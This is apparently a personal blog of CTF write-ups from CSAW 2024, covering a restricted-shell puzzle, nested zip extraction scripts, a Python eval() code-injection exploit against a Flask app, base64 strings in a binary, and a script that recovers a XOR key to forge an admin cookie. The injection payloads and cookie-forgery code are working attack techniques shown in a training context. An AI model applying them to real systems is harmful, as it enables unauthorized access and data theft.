Last updated: 23 Sep 24 10:52:31 (UTC)

CSAW 2024

CSAW 2024

This is a few write-ups of challenges i did during the CSAW 2024 edition, i didnt play it all the way through and only did one day on it.

I didnt really enjoy this CTF so i only played one day into it, still had some nice challenges.

Dividing into null

2dd106cb9189ee75acbf64b6e1da8ec3.png

We get a shell with almost no commands, Some basic commands like “echo”, “cd”, printf" and “read” works. (even alias)

this is enough to find the flag

to list files :

echo */  or  printf '%s\n' */.
echo */  or  printf '%s\n' */.

to be faster we can do :

alias ls="printf '%s\n' */."
alias ls="printf '%s\n' */."

problem is that this does not display hidden files and since we cannot find the flag using this it means it is hidden, so we can use Bash to look for it.

for i in .*; do echo $i; done
//("*" will list all the files, ".*" will list all the hidden files)
for i in .*; do echo $i; done
//("*" will list all the files, ".*" will list all the hidden files)

to read the flag we can again use Bash :

while read -r line; do echo "$line"; done < .flag
while read -r line; do echo "$line"; done < .flag

4024b38c99205d1e64280b59b3eb8f3d.png

flag : csawctf{penguins_are_just_birds_with_tuxedos}


ZipZipZip

da3ce9563ce72d7a08a74799852c2205.png

we get a zip file, inside 2 files a .txt and another .zip

the txt containes 4 char and the zip contains another 2 files.

this is basically a russian doll, to solve it we will use a little bit of scripting.

Note : this challenge was very annoying du to the sheer amount of zip files, i had to adapt my code because my WSL storage litterally got full while using the first version of the code. also 32795 zip files ? really ?? 😔

final script for unzipping :

#!/bin/bash

chunknum=0
file_name="chunk_"

chunk="${file_name}${chunknum}.zip"
#the zip file name

echo $chunk
#debugging

while [ -f ${chunk} ]
do
        unzip ${chunk}
        rm ${chunk}
            #to save storage space

        let "chunknum+=1"
        chunk="${file_name}${chunknum}.zip"
        #the infinite zip file new name

done

echo "The End"
#!/bin/bash

chunknum=0
file_name="chunk_"

chunk="${file_name}${chunknum}.zip"
#the zip file name

echo $chunk
#debugging

while [ -f ${chunk} ]
do
        unzip ${chunk}
        rm ${chunk}
            #to save storage space

        let "chunknum+=1"
        chunk="${file_name}${chunknum}.zip"
        #the infinite zip file new name

done

echo "The End"

we run it and wait because there is a LOT of files.

I discovered that all this data is actually an image

b69cb4c97dbff0a54c609657a6637c8a.png

i’m not even half done… gotta wait i guess 🗿

to make sure there is not problem with the extracted data (since i had to stop the program twice)

i made another script to retrieve all the data from the files that was extracted.

#!/bin/bash

chunknum=0
file_name="chunk_"

chunktxt="${file_name}${chunknum}.txt"
#the txt extracted each time

while [ -f ${chunktxt} ]
do
        chunktxt="${file_name}${chunknum}.txt"
        #the txt extracted each time (before the increment cuz the number is same as the one beeing unzipped)
        let "chunknum+=1"

        IMAGE=${IMAGE}$(cat ${chunktxt})

done

echo "${IMAGE}" > zipzipzip.txt
#!/bin/bash

chunknum=0
file_name="chunk_"

chunktxt="${file_name}${chunknum}.txt"
#the txt extracted each time

while [ -f ${chunktxt} ]
do
        chunktxt="${file_name}${chunknum}.txt"
        #the txt extracted each time (before the increment cuz the number is same as the one beeing unzipped)
        let "chunknum+=1"

        IMAGE=${IMAGE}$(cat ${chunktxt})

done

echo "${IMAGE}" > zipzipzip.txt

finally over :

57aa29fd1870e18412dd97080e077cef.png

flag : csawctf{ez_r3cur5iv3ne55_right7?}


Playing on the Backcourts

99f1ce225112bbbc811e41ca4197949b.png

we get the source code of an app in python.

according to the source code the variable we want to access is

safetytime = 'csawctf{i_look_different_in_prod}'
safetytime = 'csawctf{i_look_different_in_prod}'

found that this part of the code was vulnerable to RCE :

@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
    try:
        data = request.json
        expr = data['expr']
        
        return jsonify(status='success', result=deep_eval(expr))
    
    except Exception as e:
        return jsonify(status='error', reason=str(e))


def deep_eval(expr:str) -> str:
    try:
        nexpr = eval(expr)
    except Exception as e:
        return expr
    
    return deep_eval(nexpr)
@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
    try:
        data = request.json
        expr = data['expr']
        
        return jsonify(status='success', result=deep_eval(expr))
    
    except Exception as e:
        return jsonify(status='error', reason=str(e))


def deep_eval(expr:str) -> str:
    try:
        nexpr = eval(expr)
    except Exception as e:
        return expr
    
    return deep_eval(nexpr)

we can injecting python code inside :

payload: "__import__('builtins').globals()['safetytime']"
response: {"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}
# fake flag... so funny...


# so i tried to read the leaderboard.txt file that is mentionned but never showed
payload: "__import__('builtins').open('leaderboard.txt').read()"
response: {"result":"1.kainzow \n2.wozniak \n3.beastmaster64 \n4.m4y4 \n5.smallfoot \n6.BBLDrizzy \n7.\u00af\\_(\u30c4)_/\u00af \n8.dvorak\n9.csawctf{5H1774K3_Mu5Hr00M5_1_fuX0R3d_Up_50n_0F_4_81207CH}\n10.funGuyQiu \n11.bidenJoe","status":"success"}
payload: "__import__('builtins').globals()['safetytime']"
response: {"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}
# fake flag... so funny...


# so i tried to read the leaderboard.txt file that is mentionned but never showed
payload: "__import__('builtins').open('leaderboard.txt').read()"
response: {"result":"1.kainzow \n2.wozniak \n3.beastmaster64 \n4.m4y4 \n5.smallfoot \n6.BBLDrizzy \n7.\u00af\\_(\u30c4)_/\u00af \n8.dvorak\n9.csawctf{5H1774K3_Mu5Hr00M5_1_fuX0R3d_Up_50n_0F_4_81207CH}\n10.funGuyQiu \n11.bidenJoe","status":"success"}

flag : csawctf{5H1774K3_Mu5Hr00M5_1_fuX0R3d_Up_50n_0F_4_81207CH}


Baby Rev

0b92476beb4fe2477def833f54fd2c9d.png

we are given a binary file and we know that the flag is not well protected if we trust what the description says.

by using strings command we can find Base64 encoding :

Y3Nhd2N0H
ZntOM3YzH
cl9wcjA3H
M2M3X3MzH
bnMxNzF2H
M18xbmYwH
cm00NzEwH
bl91czFuH
Z19qdXM3H
XzNuYzBkH
MW5nIV8jH
M25jMGQxH
bmdfMXNfH
bjB0XzNuH
Y3J5cDcxH
MG4hfQ==H
Y3Nhd2N0H
ZntOM3YzH
cl9wcjA3H
M2M3X3MzH
bnMxNzF2H
M18xbmYwH
cm00NzEwH
bl91czFuH
Z19qdXM3H
XzNuYzBkH
MW5nIV8jH
M25jMGQxH
bmdfMXNfH
bjB0XzNuH
Y3J5cDcxH
MG4hfQ==H

the H at the end is not part of it, by removing it and concatenating everything we get the flag

the flag : csawctf{N3v3r_pr073c7_s3ns171v3_1nf0rm4710n_us1ng_jus7_3nc0d1ng!_#3nc0d1ng_1s_n0t_3ncryp710n!}


Log Me In

8f1195538fc07efe1eeaad4e61e8bb6b.png

we get the source code and a website on which we can register, login and see the pannel.

after looking at the source code it seems that to get the flag we need to have our “uid” equal “0” :

@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)
@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)

we can also see in this part that the information of the user is retrieved through the cookie

userinfo = decode(cookie)
userinfo = decode(cookie)

when we look in the source code we find that the cookie is created through a XOR of the user data as so :

user = {
        'username':user.username,
        'displays':user.displayname,
        'uid':user.uid
    }
    token = encode(dict(user))
user = {
        'username':user.username,
        'displays':user.displayname,
        'uid':user.uid
    }
    token = encode(dict(user))

here is the encode() function :

# Some cryptographic utilities
def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''
        for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
            out += bytes([i^j])
        return bytes.hex(out)
    except Exception as s:
        LOG(s)
        return None
# Some cryptographic utilities
def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''
        for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
            out += bytes([i^j])
        return bytes.hex(out)
    except Exception as s:
        LOG(s)
        return None

thus we know :

  • the cookie is a XOR
  • the informations that are in the cookie are known
  • to get the flag we need to change our uid from 1 (guest) to 0 (admin)

for this we need to find the key of the XOR since we know the information and the XOR value we can reverse it and get the key.

import json
import binascii

# Example data
user = {
    'username': 'Mario',
    'displays': 'Mario',
    'uid': 1
}

# Convert user dictionary to JSON string and encode to bytes
plaintext = json.dumps(user).encode()

ciphertext_hex = "48674c3731025651282f614a4d543b3316511d456e4141131e441918352b40515d194f3c26391117534754783a19165a7b6e7b14"

ciphertext = binascii.unhexlify(ciphertext_hex)

# XOR the plaintext with the ciphertext to recover the key
key = bytes([p ^ c for p, c in zip(plaintext, ciphertext)])

print(key)
import json
import binascii

# Example data
user = {
    'username': 'Mario',
    'displays': 'Mario',
    'uid': 1
}

# Convert user dictionary to JSON string and encode to bytes
plaintext = json.dumps(user).encode()

ciphertext_hex = "48674c3731025651282f614a4d543b3316511d456e4141131e441918352b40515d194f3c26391117534754783a19165a7b6e7b14"

ciphertext = binascii.unhexlify(ciphertext_hex)

# XOR the plaintext with the ciphertext to recover the key
key = bytes([p ^ c for p, c in zip(plaintext, ciphertext)])

print(key)

result : b’3E9DTp80EJCpmvvRd8rgBacww7itTR3sg9mqGKxxqktZOprxANJi’

we now have the XOR key so we can just generate our own token :

import json

user = {
    'username': 'Lawcky',
    'displays': 'Lawcky',
    'uid': 0
}

key = b'3E9DTp80EJCpmvvRd8rgBacww7itTR3sg9mqGKxxqktZOprxANJi'

def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''

        for i, j in zip(plaintext, key):
            out += bytes([i ^ j])

        # Return the XOR-ed result as a hexadecimal string
        return out.hex()

    except Exception as s:
        return "failed"


print(encode(dict(user)))
import json

user = {
    'username': 'Lawcky',
    'displays': 'Lawcky',
    'uid': 0
}

key = b'3E9DTp80EJCpmvvRd8rgBacww7itTR3sg9mqGKxxqktZOprxANJi'

def encode(status: dict) -> str:
    try:
        plaintext = json.dumps(status).encode()
        out = b''

        for i, j in zip(plaintext, key):
            out += bytes([i ^ j])

        # Return the XOR-ed result as a hexadecimal string
        return out.hex()

    except Exception as s:
        return "failed"


print(encode(dict(user)))

result : 48674c3731025651282f614a4d543a33135b191e604d4355135e1a0438334a0045034d530b2a0f1b1a1256766f520711256c7049

then we just have to send it.

flag : csawctf{S3NS1T1V3_D4T4_ST0R3D_CL13NTS1D3D_B4D_B4D}